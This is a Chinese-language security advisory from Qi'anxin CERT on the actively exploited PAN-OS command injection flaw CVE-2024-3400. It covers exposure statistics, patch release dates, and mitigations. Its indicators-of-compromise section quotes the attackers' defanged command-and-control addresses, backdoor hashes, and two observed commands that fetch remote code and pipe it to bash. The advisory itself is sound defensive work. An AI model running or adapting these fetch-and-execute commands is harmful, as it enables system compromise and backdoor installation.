【在野利用】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)安全风险通告

无

奇安信鹰图资产测绘平台数据显示，Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)关联的国内风险资产总数为177053个，关联IP总数为2833个。国内风险资产分布情况如下：

Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)关联的全球风险资产总数为371798个，关联IP总数为60689个。全球风险资产分布情况如下：

此问题已在 PAN-OS 10.2.9-h1、PAN-OS 11.0.4-h1、PAN-OS 11.1.2-h3 以及所有更高版本的 PAN-OS 版本中修复。还将提供其他常用部署的维护版本的修补程序来解决此问题。请参阅下面有关即将推出的修补程序详细信息：

PAN-OS 10.2:

- 10.2.9-h1 (Released 4/14/24)

- 10.2.8-h3 (ETA: 4/15/24)

- 10.2.7-h8 (ETA: 4/15/24)

- 10.2.6-h3 (ETA: 4/15/24)

- 10.2.5-h6 (ETA: 4/16/24)

- 10.2.3-h13 (ETA: 4/17/24)

- 10.2.1-h2 (ETA: 4/17/24)

- 10.2.2-h5 (ETA: 4/18/24)

- 10.2.0-h3 (ETA: 4/18/24)

- 10.2.4-h16 (ETA: 4/19/24)

PAN-OS 11.0:

- 11.0.4-h1 (Released 4/14/24)

- 11.0.3-h10 (ETA: 4/15/24)

- 11.0.2-h4 (ETA: 4/16/24)

- 11.0.1-h4 (ETA: 4/17/24)

- 11.0.0-h3 (ETA: 4/18/24)

PAN-OS 11.1:

- 11.1.2-h3 (Released 4/14/24)

- 11.1.1-h1 (ETA: 4/16/24)

- 11.1.0-h3 (ETA: 4/17/24)

请参阅发布说明：

https://security.paloaltonetworks.com/CVE-2024-3400

缓解方案：

具有威胁防护订阅的客户可以使用威胁 ID 95187（在应用程序和威胁内容版本 8833-8682 及更高版本中提供）阻止针对此漏洞的攻击。

要应用威胁 ID 95187，客户必须确保已将漏洞保护应用于其 GlobalProtect 界面，以防止在其设备上利用此问题。有关详细信息，请参阅：

https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184。

如果此时无法应用基于威胁防护的缓解措施，仍可以通过暂时禁用设备遥测来缓解此漏洞的影响，直到设备升级到固定的 PAN-OS 版本。升级后，应在设备上重新启用设备遥测。如果防火墙由 Panorama 管理，请确保在相关模板（Panorama > 模板）中禁用设备遥测。

有关如何临时禁用设备遥测的详细信息，请参阅以下页面：

https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-configure/device-telemetry-disable。

有关如何配置全景模板的详细信息，请参阅以下页面：

https://docs.paloaltonetworks.com/panorama/11-0/panorama-admin/manage-firewalls/manage-templates-and-template-stacks/add-a-template。

Indicators of Compromise

• UPSTYLE Backdoor：

Update.py

3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac

5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078

• Command and Control Infrastructure：

172.233.228[.]93

hxxp://172.233.228[.]93/policy

hxxp://172.233.228[.]93/patch

66.235.168[.]222

• Hosted Python Backdoor：

144.172.79[.]92

nhdata.s3-us-west-2.amazonaws[.]com

• Observed Commands：

wget -qO- hxxp://172.233.228[.]93/patch|bash

wget -qO- hxxp://172.233.228[.]93/policy | bash

[1]https://security.paloaltonetworks.com/CVE-2024-3400

[2]https://unit42.paloaltonetworks.com/cve-2024-3400/

[3]https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

2024年4月15日，奇安信 CERT发布安全风险通告。